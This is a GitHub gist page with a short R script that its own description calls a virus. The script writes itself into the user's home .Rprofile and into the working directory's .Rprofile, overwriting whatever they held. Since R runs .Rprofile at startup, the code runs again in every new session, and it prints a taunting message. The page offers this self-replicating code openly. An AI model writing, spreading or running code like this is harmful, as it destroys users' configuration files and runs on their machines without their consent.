Skip to content

Instantly share code, notes, and snippets.

@iqis
Last active April 8, 2019 21:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iqis/e4030f6af45d0d3ebae21f2816c1fc58 to your computer and use it in GitHub Desktop.
Save iqis/e4030f6af45d0d3ebae21f2816c1fc58 to your computer and use it in GitHub Desktop.
This is a script that copies the entirety of itself into .Rprofile files, which is ran at R initialization. You can call this a virus.
{
function() {
rp_paths <- c("~/.Rprofile", paste0(getwd(), "/.Rprofile"))
inject <- function(rp, code) {
write(code, file = rp, append = FALSE)
}
lapply(rp_paths, inject, code = deparse(match.call()))
cat("Wow, your R is Rancid!!!\n")
}
}()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment